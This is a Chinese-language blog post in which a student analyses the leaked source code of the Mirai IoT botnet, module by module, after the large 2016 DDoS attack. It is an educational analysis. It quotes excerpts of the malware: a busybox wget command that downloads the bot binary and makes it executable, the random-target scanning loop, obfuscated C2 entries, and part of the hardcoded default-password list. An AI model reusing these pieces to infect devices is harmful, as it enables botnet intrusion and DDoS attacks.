对 Mirai 病毒的初步分析——物联网安全形式严峻

前几天，半个美国的吃瓜群众纷纷表示上不了网了。经过各种调查，发现是一个代号为 Mirai（日语：未来）的病毒感染了物联网设备，形成了一个僵尸网络，最终这个超大型的僵尸网络向美国某 DNS 公司的服务器发起了 DDoS 攻击。Mirai 的 C 语言源码在网上很容易获取到，刚好我最近在上计算机病毒课，于是就下载下来研究了一下，顺便看一下以自己现在的能力可以理解到哪一步。

下载下来之后粗略看了一下，第一感觉就是作者的代码风格真的是超级好！不光代码格式很赞（虽说大括号放到了下一行），而且变量名、文件名都很有目的性，重要的地方都写了注释或者打了 log，因此分析起来还是相对比较简单的。

目录结构

Mirai 源码目录结构是这样的：

Mirai\_Source\_Code

├─loader # 加载器

│ ├─bins # 一部分二进制文件

│ └─src # 加载器的源码

│ └─headers

└─mirai # 病毒本体

├─bot # 攻击、扫描器、域名解析等模块

├─cnc # 使用 go 语言写的服务器程序

└─tools # 存活状态检测、加解密、下载文件等功能

加载器部分

接下来我们把目光转向 loader/src/main.c 文件。在 main 函数中有效力的第一句话是调用了 binary\_init 函数，在这个函数中尝试加载 loader/bins 下面的程序（本文所有引用的代码，格式均按照我的风格有所调整，但内容均未修改）：

if (glob("bins/dlr.\*", GLOB\_ERR, NULL, &pglob) != 0) {

printf("Failed to load from bins folder!\n");

return;

}

for (i = 0; i < pglob.gl\_pathc; i++) {

char file\_name[256];

struct binary \*bin;

bin\_list = realloc(bin\_list, (bin\_list\_len + 1) \* sizeof (struct binary \*));

bin\_list[bin\_list\_len] = calloc(1, sizeof (struct binary));

bin = bin\_list[bin\_list\_len++];

#ifdef DEBUG

printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl\_pathc, pglob.gl\_pathv[i]);

#endif

strcpy(file\_name, pglob.gl\_pathv[i]);

strtok(file\_name, ".");

strcpy(bin->arch, strtok(NULL, "."));

load(bin, pglob.gl\_pathv[i]);

}

其实 loader/bins 目录下就是叫 dlr 的程序的各种架构的二进制编译版本。因为本机恰好有 IDA，里面有 Hex-Rays，可以反编译 x86 架构的程序，于是我就从 dlr.x86 文件入手了。打开文件，按下 F5 查看伪代码，发现几乎所有的函数都无法解析，然而汇编我又不熟，所以只能看唯一一个可以解析的函数 sub\_804819D。大部分代码都看不懂（其实解析出来的代码只有 61 行），但是里面有这么一段：

if (sub\_8048146(v3, "GET /bins/mirai.x86 HTTP/1.0\r\n\r\n", i + 29) != i + 29)

sub\_80480E0(3);

这是尝试加载一个文件。然而我没能获取到这个文件，因此只能作罢。

加载完二进制之后，接着创建一个服务器：

if ((srv = server\_create(sysconf(\_SC\_NPROCESSORS\_ONLN), addrs\_len, addrs, 1024 \* 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) {

printf("Failed to initialize server. Aborting\n");

return 1;

}

之后可以通过这个服务器进行 tftp/wget 的下载，以及文件读写操作，代码中大量调用了 busybox 的功能，例如：

util\_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN\_BINARY "; /bin/busybox chmod 777 " FN\_BINARY "; " TOKEN\_QUERY "\r\n", wrker->srv->wget\_host\_ip, wrker->srv->wget\_host\_port, "mirai", conn->info.arch);

所以可见搭载 busybox 的系统是其目标之一。此外这个服务器还有其它的功能，例如建立 Telnet 连接（地址需要手动输入），显示全部连接的状态，这应该是监控病毒状态用的。

病毒本体部分

**实用工具**

**badbot.c**

显示指定的 bot 信息，然而里面只有一句 printf，不知道意义何在。

**enc.c**

常用数据类型（string、ip、uint32、uint16、uint8、bool）的加解密。

**nogdb.c**

修改 ELF 文件头，使得其无法在 GDB 中运行。

**scanListen.go**

监视扫描器的扫描记录。

**single\_load.c**

加载指定 IP:Port 下面指定的文件，估计是用于运行远程服务器上的病毒。

**wget.c**

用于下载文件。

**攻击模块**

攻击模块的作用是向 DDoS 的目标发起攻击，相关的代码在 mirai/bot/attack\*.c 文件中，其中 attack.c 是主入口，里面写了“开始攻击”、“结束攻击”、“攻击选项”等通用的功能；其它的都是分别对应 TCP、UDP 等协议的攻击程序。攻击的选项有好多，例如目标 IP、是否分片、每次发送的长度、是否发送随机数据等。攻击的时候，首先非阻塞地连接目标，然后尝试获取服务器信息，如果获取到了，说明服务器存活，就开始不断发送数据。

**killer 模块**

killer 模块的作用是杀死本机的一些特定服务，例如 ssh、telnet、http，并绑定它们的端口，防止服务重新启动。值得注意的是，扫描服务的时候是通过端口扫描的，即杀死使用 22、23、80 端口的程序，但是如果服务的端口被修改过，就可以幸免遇难。当然，考虑到本机其实是个物联网设备，因此几乎没有人会做这样的修改。

**checksum.c、rand.c、resolve.c**

这些文件虽然更像工具集（在 mirai/tools 目录下），但是是病毒文件需要用到的，因此就跟病毒放到了一块。

checksum.c 可以实现简单的校验功能。

rand.c 可以生成下一个随机数、生成指定长度的随机字符串、生成指定长度的字母串。

resolve.c 可以进行域名解析。

**扩展的 C 函数**

不知道为啥作者会写一个 util.c 进去，里面是各种 C 语言函数的实现，例如 strlen、trncmp、strcmp、strcpy、memcpy 等。

**常量列表**

文件 table.c 里面存了一份常量列表，大概长这样：

void table\_init(void) {

add\_entry(TABLE\_CNC\_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30);

add\_entry(TABLE\_CNC\_PORT, "\x22\x35", 2);

add\_entry(TABLE\_SCAN\_CB\_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29);

add\_entry(TABLE\_SCAN\_CB\_PORT, "\x99\xC7", 2);

// 下面省略若干内容

}

后面的字符串看不懂怎么办？没关系，我们看到 table.h 就知道了：

/\* Attack strings \*/

#define TABLE\_ATK\_VSE 29 /\* TSource Engine Query \*/

#define TABLE\_ATK\_RESOLVER 30 /\* /etc/resolv.conf \*/

#define TABLE\_ATK\_NSERV 31 /\* "nameserver " \*/

#define TABLE\_ATK\_KEEP\_ALIVE 32 /\* "Connection: keep-alive" \*/

#define TABLE\_ATK\_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8" // \*/

#define TABLE\_ATK\_ACCEPT\_LNG 34 // "Accept-Language: en-US,en;q=0.8"

#define TABLE\_ATK\_CONTENT\_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"

#define TABLE\_ATK\_SET\_COOKIE 36 // "setCookie('"

#define TABLE\_ATK\_REFRESH\_HDR 37 // "refresh:"

#define TABLE\_ATK\_LOCATION\_HDR 38 // "location:"

#define TABLE\_ATK\_SET\_COOKIE\_HDR 39 // "set-cookie:"

#define TABLE\_ATK\_CONTENT\_LENGTH\_HDR 40 // "content-length:"

#define TABLE\_ATK\_TRANSFER\_ENCODING\_HDR 41 // "transfer-encoding:"

#define TABLE\_ATK\_CHUNKED 42 // "chunked"

#define TABLE\_ATK\_KEEP\_ALIVE\_HDR 43 // "keep-alive"

#define TABLE\_ATK\_CONNECTION\_HDR 44 // "connection:"

#define TABLE\_ATK\_DOSARREST 45 // "server: dosarrest"

#define TABLE\_ATK\_CLOUDFLARE\_NGINX 46 // "server: cloudflare-nginx"

/\* User agent strings \*/

#define TABLE\_HTTP\_ONE 47 /\* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" \*/

#define TABLE\_HTTP\_TWO 48 /\* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" \*/

#define TABLE\_HTTP\_THREE 49 /\* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" \*/

#define TABLE\_HTTP\_FOUR 50 /\* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" \*/

#define TABLE\_HTTP\_FIVE 51 /\* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" \*/

随便举了一段，注释里面就是解密之后的字符串。

**扫描器模块**

程序会 fork 出一个子进程来扫描。扫描过程发送的请求中，本机端口为随机端口，目标机端口为 23 和 2323，目标 IP 是随机选取的，选取的方法是，先生成一个随机 IP，如果发现这个 IP 是本地回环等没有攻击价值的 IP，就跳过继续生成下一个：

do {

tmp = rand\_next();

o1 = tmp & 0xff;

o2 = (tmp >> 8) & 0xff;

o3 = (tmp >> 16) & 0xff;

o4 = (tmp >> 24) & 0xff;

}

while (o1 == 127 || // 127.0.0.0/8 - Loopback

(o1 == 0) || // 0.0.0.0/8 - Invalid address space

(o1 == 3) || // 3.0.0.0/8 - General Electric Company

(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company

(o1 == 56) || // 56.0.0.0/8 - US Postal Service

(o1 == 10) || // 10.0.0.0/8 - Internal network

(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network

(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network

(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved

(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved

(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use

(o1 >= 224) || // 224.\*.\*.\*+ - Multicast

(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense

);

连接成功后，尝试使用各种设备的默认账号和密码登录，程序内置了一份默认账户列表：

// Set up passwords

add\_auth\_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511

add\_auth\_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv

// 此处省略若干行

add\_auth\_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech

add\_auth\_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker

若可以登录，则将该 IP、端口、账号信息发送到 TABLE\_SCAN\_CB\_DOMAIN:TABLE\_SCAN\_CB\_PORT 中。

**主程序**

主程序就是 main.c 了，首先反调试、禁止 watchdog 和 /dev/misc 重启设备，然后确保只有一个实例运行（判断 48101 端口是否已被连接），然后隐藏进程名称，fork 出一个子进程并结束自身，子进程继续开启攻击模块、killer 模块、扫描器，最后连接到一个管理后端并监听控制者发起的各种指令。

管理后端

这是一个用 Go 语言写的、攻击者本地运行的命令行服务端，可以向已连接到本机的 bot 发送攻击命令。由于此处与病毒原理无关，因此不做过多分析。

分析了这么久，感觉这个 Mirai 不仅仅是一个病毒，而是一套完整的“控制端+bot+工具集”的解决方案。Mirai 的原作者在论坛中的帖子内容语气狂妄，嘲讽那些尝试反编译 Mirai 的人们：

*However, I know every skid and their mama, it’s their wet dream to have something besides qbot.*

*So, I am your senpai, and I will treat you real nice, my hf-chan.*

*Don’t make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL*

*Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place.*

作者将此工程发出来的原因是“我已经赚到钱了，你们又逐渐把目光转向了我用来赚钱的物联网设备，所以是时候把我这套方案发出来了”，当然这次的攻击来源也是迄今为止规模最大的、由物联网设备组成的僵尸网络。

据说此次受影响的大部分物联网设备都将默认密码硬编码到了硬件里，因此无法修补漏洞。Mirai 的发布，迫使大家越来越重视物联网安全。有网友笑称：“以后都不敢开灯了。”只能希望，这种情况不会成为我们的 Mirai（未来）。